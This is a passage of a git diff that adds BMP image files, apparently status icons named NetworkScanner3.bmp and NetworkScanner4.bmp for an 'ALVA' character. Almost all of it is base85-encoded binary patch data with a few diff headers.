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 literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/ALVA/status/NetworkScanner/NetworkScanner3.bmp b/resources/default_config/characters/ALVA/status/NetworkScanner/NetworkScanner3.bmp new file mode 100644 index 0000000000000000000000000000000000000000..35cc8c597be51b9109f5ca07241184c7ef6f568d GIT binary patch literal 18462 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 DsCzj7 literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/ALVA/status/NetworkScanner/NetworkScanner4.bmp b/resources/default_config/characters/ALVA/status/NetworkScanner/NetworkScanner4.bmp new file mode 100644 index 0000000000000000000000000000000000000000..2883594bea91a13dba13bb36173019043a69dee4 GIT binary patch literal 18462 zcmd^_by!?U+URqi{qFAU%*088J2cYJja%dH1cGaD0we@?T5t;vfdIkX6D&kYkOX&k z4?%-Vf7LKIlbs0}l9}0m?s=-~IbBuft@_m~RYyeRNu|yl9h@Mi13!gde*fnT{!#gy zL2|K|8hSPu`ehX>fh-NU_) z2V0B#>l1s+L%Sb(b{0E!7Fu`a-|fu3-I;CNo^9BfsRLR91ta^Q*aJ?sU zwJT+{$_6{OCi)bVijKND#1u_tx2Hx)EkX-``1IFbYM zj-=(*L?C>tCwXrmWp5~bf4mU;{tfnE^*hx3?W~6fJFETqE3J{M0JJN44Gh041()Me z@~5;rl(E}G-t#u@pdykgX!HBp|_-jc!?l<6i|6u=Bildt^V}Q-ZTK+TG((9#&ijhldAyn+rQj1Dmsr8)HvC4i>NV;`|jr?+vBq z1l;B%qmO!!QQ6j$nD<1CLrsU5f4VMisV#A?F>dNj?DU)1*~a@o&Ak<&k`T7*qGp-p zwUsTM7~e1se5%*!Xi#gbBf&#LBu_%^!!KT>d$ab=ofcPzsv9@6IF&JMlDu^Eqa#EA z71qx?0oVt-8wcAfyBqU6E5l2pZ&f&Xog5NNo*npkw>w)`Xo#U{{)a@C9(9 zpkW3{iWYVq#wkj{0Qnb;ovNU~?#H#errKT_oE$Rj4APX4bPb(WN84UM*S=u) z-cYxJ2>1G1mWi~Y`Fz?Umnlk13XW#|w8s3sdi|XBH|K2)Eo_(QL?P;2mj&2u071x7^U6^1NKtYLT&3qaN5lFPJ@*w+8Mr3o+(i=} z{z@ye&T#a=ec!<__ilg3*G?8iraG}Q3bw>>7b+gf3nZp`TEJ_8h5cp#C;k2FSivF- zj<&{TRRJ093pBD6tg1}>nk-@(EFx;m0?G_L3Ur+E5Ox`A7HKM&G&M|?hD9F2rpUl~ 